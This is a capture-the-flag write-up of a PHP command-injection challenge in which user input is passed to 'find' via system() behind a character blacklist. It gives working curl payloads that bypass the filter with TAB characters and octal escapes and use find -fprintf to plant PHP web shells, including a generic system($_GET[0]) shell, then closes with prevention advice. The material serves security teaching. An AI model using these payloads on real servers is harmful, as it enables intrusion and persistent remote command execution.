Overview#
This challenge involves a PHP web application with command injection vulnerability. The application has strict input filters but can be bypassed using find command’s -fprintf option to write PHP files.
Vulnerability Analysis#
The index.php file contains a command injection vulnerability:
$cmd = $_GET['cmd'];
// ... blacklist checks ...
$cmd = "find " . $cmd;
system($cmd);
The Problem#
The application takes user input via the cmd parameter and prepends it with find before executing it via system(). This creates a command injection vulnerability where we can control part of the command being executed.
Blacklist Analysis#
The application attempts to prevent command injection by blacklisting dangerous characters:
if (strpos($cmd, ";") !== False || strpos($cmd, "|") !== False || strpos($cmd, "$") !== False ||
strpos($cmd, "`") !== False || strpos($cmd, "&") !== False || strpos($cmd, "\n") !== False ||
strpos($cmd, ">") !== False || strpos($cmd, "<") !== False || strpos($cmd, "(") !== False ||
strpos($cmd, ")") !== False || strpos($cmd, " ") !== False || strpos($cmd, "\r") !== False ||
strpos($cmd, "+") !== False || strpos($cmd, "{") !== False || strpos($cmd, "}") !== False ||
strpos($cmd, "[") !== False || strpos($cmd, "]") !== False) {
die("Bad bad hacker :<");
}
Why the Blacklist Fails#
The blacklist is comprehensive but misses several critical bypass techniques:
- TAB characters (
%09): Can replace spaces in many contexts - Octal encoding (
\040,\074, etc.): Can represent blocked characters findcommand options: Like-fprintfwhich allows file writing- Character substitution: Using alternatives like backticks instead of parentheses
The Core Issue#
The fundamental problem is that blacklisting is inherently flawed - it’s impossible to anticipate all possible attack vectors. The application should use whitelisting or parameterized commands instead.
Enumeration#
Initial Command Injection Test#
curl 'http://localhost:8888/?cmd=/%09-maxdepth%091%09-ls'
# curl 'http://localhost:8888/?cmd=/ -maxdepth 1 -ls'
Why This Works#
- TAB Character Bypass: We use
%09(URL-encoded TAB) instead of spaces because spaces are blacklisted - Find Command Structure: The command becomes
find / -maxdepth 1 -ls - Directory Enumeration: This lists the contents of the root directory with detailed information
- Proof of Concept: Confirms that our bypass technique works and we can execute find commands
Checking Writable Directories#
curl 'http://localhost:8888/?cmd=/var/www/html%09-maxdepth%091%09-writable%09-ls'
# curl 'http://localhost:8888/?cmd=/var/www/html -maxdepth 1 -writable -ls'
Why This Step is Critical#
- Write Permission Check: We need to confirm we can write files to the web directory
- Find -writable: This find option only shows files/directories we have write access to
- Web Directory Access:
/var/www/htmlis the web root where PHP files can be executed - Strategic Planning: Once we confirm write access, we can plan our file-based attack
Exploitation#
Method 1: Crafting a PHP Webshell with Backticks#
The Goal#
Create a simple PHP file that runs commands. We use backticks instead of other methods because backticks don’t use $, [, ], or () - all of which are blocked by the filter.
The Target Shell Content#
We want to create /var/www/html/p.php with this content:
<?php echo `/readflag i want the flag please`; ?>
The Exploitation Command#
curl 'http://localhost:8888/?cmd=/%09-maxdepth%090%09-fprintf%09/var/www/html/p.php%09%27%5C074%5C077php%5C040echo%5C040%5C140/readflag%5C040i%5C040want%5C040the%5C040flag%5C040please%5C140%5C073%5C040%5C077%5C076%27'
# curl 'http://localhost:8888/?cmd=/ -maxdepth 0 -fprintf /var/www/html/p.php '\074\077php\040echo\040\140/readflag\040i\040want\040the\040flag\040please\140\073\040\077\076''
Command Breakdown#
%09: URL-encoded TAB characters (argument separators for find command)/: Starting directory for find command-maxdepth 0: Limit search to current directory only-fprintf /var/www/html/p.php: Write formatted output to the specified file'...': Single-quoted string containing our PHP payload with octal escapes
Why Single Quotes Are Critical#
We must ensure the octal backslashes reach find intact, so we wrap the format argument in single quotes. Single quotes are not blacklisted and prevent the shell from consuming the backslashes before find sees them.
Octal Encoding Breakdown#
In fprintf, octal characters are allowed. We can use oct(ord('character')) to find the octal value, then use printf("\\octal") to represent the same character:
\074→<(opening PHP tag) -oct(ord('<'))=0o74\077→?(PHP tag continuation) -oct(ord('?'))=0o77\040→ space character -oct(ord(' '))=0o40\140→ backtick character (command execution) -oct(ord('’))=0o140`\073→;(statement terminator) -oct(ord(';'))=0o73\076→>(closing PHP tag) -oct(ord('>'))=0o76
This allows us to represent blocked characters like <, >, ;, and backticks using their octal equivalents.
Why We Use Backticks#
- No
$: Dollar signs are blocked - No
[and]: Square brackets are blocked - No
(): Parentheses are blocked - Simple: Backticks run commands and show the output
Execution#
Then access: http://localhost:8888/p.php
Method 2: PHP Shell Creation#
curl "http://localhost:8888/?cmd=%09/%09-fprintf%09shell.php%09%22\\74?php%09system\\50\\44_GET\\1330\\135\\51\\73%22%09-quit"
# curl "http://localhost:8888/?cmd= / -fprintf shell.php "\\74?php system\\50\\44_GET\\1330\\135\\51\\73" -quit"
Then access: http://localhost:8888/shell.php?0=/readflag%20i%20want%20the%20flag%20please
How This Method Works#
- PHP Shell Creation: Creates a more flexible PHP shell that accepts commands via GET parameters
- Octal Encoding:
\\74=<,\\50=(,\\44=$,\\133=[,\\135=],\\51=) - Decoded PHP: The file contains
<?php system($_GET[0]); ?> - Parameterized Execution: We pass the command as a GET parameter (
?0=/readflag%20i%20want%20the%20flag%20please) - Flexibility: This method allows us to execute any command by changing the GET parameter
- URL Encoding: We use
%20for spaces in the URL since we’re passing it as a parameter
Key Techniques Used#
1. TAB Character Substitution#
- Why: Spaces are blacklisted in the input filter
- How: Use
%09(URL-encoded TAB) instead of spaces - Result: TAB characters work as separators in most command contexts
2. Octal Encoding#
- Why: Many special characters are blacklisted (
<,>,(,),$,[,]) - How: Use octal representations like
\040(space),\074(<),\076(>) - Result: Bypass character filters while maintaining functionality
3. Find -fprintf File Writing#
- Why: Direct command execution is blocked by filters
- How: Use
find -fprintf filename "data"to write arbitrary content to files - Result: Create PHP files that can execute commands when accessed via web server
4. File-based Execution#
- Why: Input filters prevent direct command injection
- How: Write PHP files to web directory, then access them via HTTP
- Result: Bypass input filters by using the web server to execute our payload
5. Multiple PHP Execution Methods#
- system(): Command execution with GET parameters for flexibility
- Backticks: Alternative syntax for command execution
Flag#
QnQSec{test_flag_by_whale120}
Lessons Learned#
Security Implications#
- Blacklisting is insufficient: Impossible to anticipate all attack vectors
- Input validation: Should use whitelisting or parameterized commands
- Defense in depth: Multiple layers of protection needed
Attack Techniques#
- Character encoding: Powerful bypass method for input filters
- Indirect execution: File writing can bypass direct command injection filters
- Multiple payloads: Different encoding methods provide redundancy
Prevention Strategies#
- Whitelist allowed characters instead of blacklisting dangerous ones
- Use parameterized commands or safe APIs instead of system() calls
- Implement proper input validation and output encoding
- Regular security testing to identify bypass techniques